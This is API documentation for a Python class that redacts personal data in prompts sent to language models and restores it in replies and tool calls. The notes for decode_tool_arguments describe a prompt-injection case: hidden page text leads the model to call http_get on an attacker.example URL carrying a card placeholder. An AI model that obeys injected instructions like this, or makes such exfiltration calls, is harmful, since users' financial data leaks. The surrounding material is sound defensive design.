Guard#
- class scikitplot.cleanprompt.Guard(cleaner=None, format='text', verify=True)[source]#
Encode what goes to a model, check it, and decode what comes back.
- Parameters:
- cleanerCleaner, optional
Defaults to
Cleaner()— packs chosen by format, placeholders,rememberon.- formatstr, default=’text’
How prompt text is read. Use
'markdown'for Markdown prompts, or any other text format the cleaner’s plan selects.- verifybool, default=True
Run the independent leak check on everything outgoing, and refuse to send on a finding.
- Parameters:
Notes
User notes. One guard is one conversation: a value keeps its placeholder for every turn, and the vault is cleared when the
withblock ends. Nothing about the guard needs the network; you pass the function that calls the model.Examples
>>> from scikitplot.cleanprompt import FluentCleanPrompt >>> with FluentCleanPrompt().guard() as guard: ... guard.ask( ... "Write to ann@example.com", lambda safe: "Sent to " + safe.split()[-1] ... ) 'Sent to ann@example.com'
- async aask(prompt, call)[source]#
Guard
prompt, awaitcallwith it, and decode the answer.- Parameters:
- promptstr
What you would have sent.
- callcallable
An
asyncfunction taking the safe prompt and returning the model’s text.
- Returns:
- str
The decoded answer.
- Raises:
- LeakError
Before
callis invoked, if the check fails.- TypeError
If
calldoes not return an awaitable, or it does not resolve to a string.
- Parameters:
- Return type:
Notes
User notes. Encoding runs in the calling thread; it is fast for a prompt. For a large document,
await asyncio.to_thread(guard.outgoing, text)first — a guard is safe to share across threads (CP-067).
- async achat(messages, call)[source]#
Guard every message, await
callwith them, and decode the reply.- Parameters:
- messagessequence of mapping
As
chat.- callcallable
An
asyncfunction taking the guarded messages and returning a string or a message mapping.
- Returns:
- str or dict
The reply, decoded, in the shape
callreturned.
- Raises:
- LeakError
Before
callis invoked, if any message fails the check.- TypeError
If
calldoes not return an awaitable of a string or mapping.
- Parameters:
- Return type:
- async adecode_stream(chunks)[source]#
Decode a reply streamed by an asynchronous client.
- Parameters:
- chunksasync iterable of str
The reply as the client streams it.
- Yields:
- str
As
decode_stream.
- Raises:
- TypeError
If a chunk is not a string.
- Parameters:
chunks (AsyncIterable[str])
- Return type:
- ask(prompt, call)[source]#
Guard
prompt, pass it tocall, and decode the answer.- Parameters:
- promptstr
What you would have sent.
- callcallable
Takes the safe prompt, returns the model’s text.
- Returns:
- str
The decoded answer.
- Raises:
- LeakError
Before
callis invoked, if the check fails.- TypeError
If
calldoes not return a string.
- Parameters:
- Return type:
- chat(messages, call)[source]#
Guard every message, pass them to
call, and decode the reply.- Parameters:
- messagessequence of mapping
Chat messages.
contentmay be a string or a list of parts; a part’stextis guarded. Other keys are copied unchanged.- callcallable
Takes the guarded messages; returns a string or a message mapping.
- Returns:
- str or dict
The reply, decoded, in the shape
callreturned.
- Raises:
- LeakError
Before
callis invoked, if any message fails the check.- CleanPromptError
If a message has content of an unsupported shape.
- Parameters:
- Return type:
- decode_stream(chunks)[source]#
Decode a streamed reply, chunk by chunk.
- Parameters:
- chunksiterable of str
The reply as the client streams it.
- Yields:
- str
Decoded text, never empty; joined, it equals the whole reply decoded at once.
- Raises:
- TypeError
If a chunk is not a string.
- Parameters:
- Return type:
Examples
>>> from scikitplot.cleanprompt import FluentCleanPrompt >>> guard = FluentCleanPrompt().guard() >>> safe = guard.outgoing("mail ann@example.com") >>> "".join(guard.decode_stream(["mail [EMA", "IL-1]"])) 'mail ann@example.com'
- decode_tool_arguments(arguments, *, allow, on_withheld='raise')[source]#
Restore a tool call’s arguments with only the values this tool may get.
- Parameters:
- argumentsobject
The arguments as the model wrote them — a mapping, a list, or a JSON string of either (as
decode_objecttakes them).- allowiterable of str, or
"all" The value kinds this tool may receive, for example
{"EMAIL"}for a tool that sends mail, or()for one that fetches a URL."all"restores every kind and must be asked for explicitly.- on_withheld{‘raise’, ‘keep’}, default=’raise’
What to do when the arguments name a value of another kind: refuse the call, or pass that placeholder through unrestored.
- Returns:
- object
The arguments in the same shape, with allowed values restored.
- Raises:
- LeakError
With
on_withheld='raise', if the arguments name a value of a kind not inallow. Nothing is restored and the tool must not run.- ValueError
If
alloworon_withheldis not one of the accepted forms.
- Parameters:
- Return type:
Notes
User notes. A tool call is where decoded values leave again. An instruction hidden in a page the model read can ask it to call
http_get("https://attacker.example/?c=[CREDIT_CARD-1]"); the model never saw the number, but restoring every placeholder would hand it to the request. Give each tool the kinds it needs and no more — a network tool usually needs none.Developer notes. Which kinds the arguments name is decided by
Cleaner.kinds_in, the same restoration that decoding runs, so the check and the decode cannot disagree (CP-073).Examples
>>> from scikitplot.cleanprompt import FluentCleanPrompt, LeakError >>> guard = FluentCleanPrompt().guard() >>> _ = guard.outgoing("mail ann@example.com, card 4242 4242 4242 4242") >>> guard.decode_tool_arguments({"to": "[EMAIL-1]"}, allow={"EMAIL"}) {'to': 'ann@example.com'} >>> try: ... guard.decode_tool_arguments({"url": "x?c=[CREDIT_CARD-1]"}, allow=()) ... except LeakError as error: ... print(error.kinds) ('CREDIT_CARD',)
- encode_object(value)[source]#
Return a JSON-like value guarded as the JSON document it will become.
- Parameters:
- valueobject
A tool result or any structure of dicts, lists, strings, numbers, booleans and
None. A bare string is guarded as text.
- Returns:
- object
The value as
json.loadsreads the guarded document: keys, strings and numbers under sensitive field names are encoded, and every one is checked. Tuples become lists and non-string keys become strings, as in any JSON the model receives.
- Raises:
- TypeError
If the structure holds a type JSON cannot carry — refused rather than converted, so nothing is sent in a form nobody inspected.
- ValueError
If it holds
NaNor an infinity, which JSON cannot carry.- LeakError
As
outgoing.- CleanPromptError
If this guard’s plan does not select the
jsonformat.
- Parameters:
value (Any)
- Return type:
Notes
Developer notes — why the whole structure, not string by string (``CP-076``, ``CP-077``). Walking the structure and guarding each string left two things unread: mapping keys, so a result keyed by email address sent every address, and numbers, so a card or phone number stored as an integer went out as it was. Serialising once and guarding the document with the
jsonformat reads keys, gives a number under a sensitive field a numeric stand-in that keeps the JSON valid, readsKey: valueprose inside strings (CP-078), and puts the whole document through the independent check.Examples
>>> from scikitplot.cleanprompt import FluentCleanPrompt >>> guard = FluentCleanPrompt().guard() >>> guard.encode_object({"ann@example.com": {"card": 4242424242424242}}) {'[EMAIL-1]': {'card': -9900000001}}
- outgoing(text, format=None)[source]#
Return
textsafe to send, or raise before anything is sent.- Parameters:
- textstr
A prompt, a message, a tool result.
- formatstr, optional
Overrides the guard’s format for this text.
- Returns:
- str
The encoded text.
- Raises:
- LeakError
If the independent check finds a removed value still present.
- CleanPromptError
If the text cannot be read as its format.
- Parameters:
- Return type: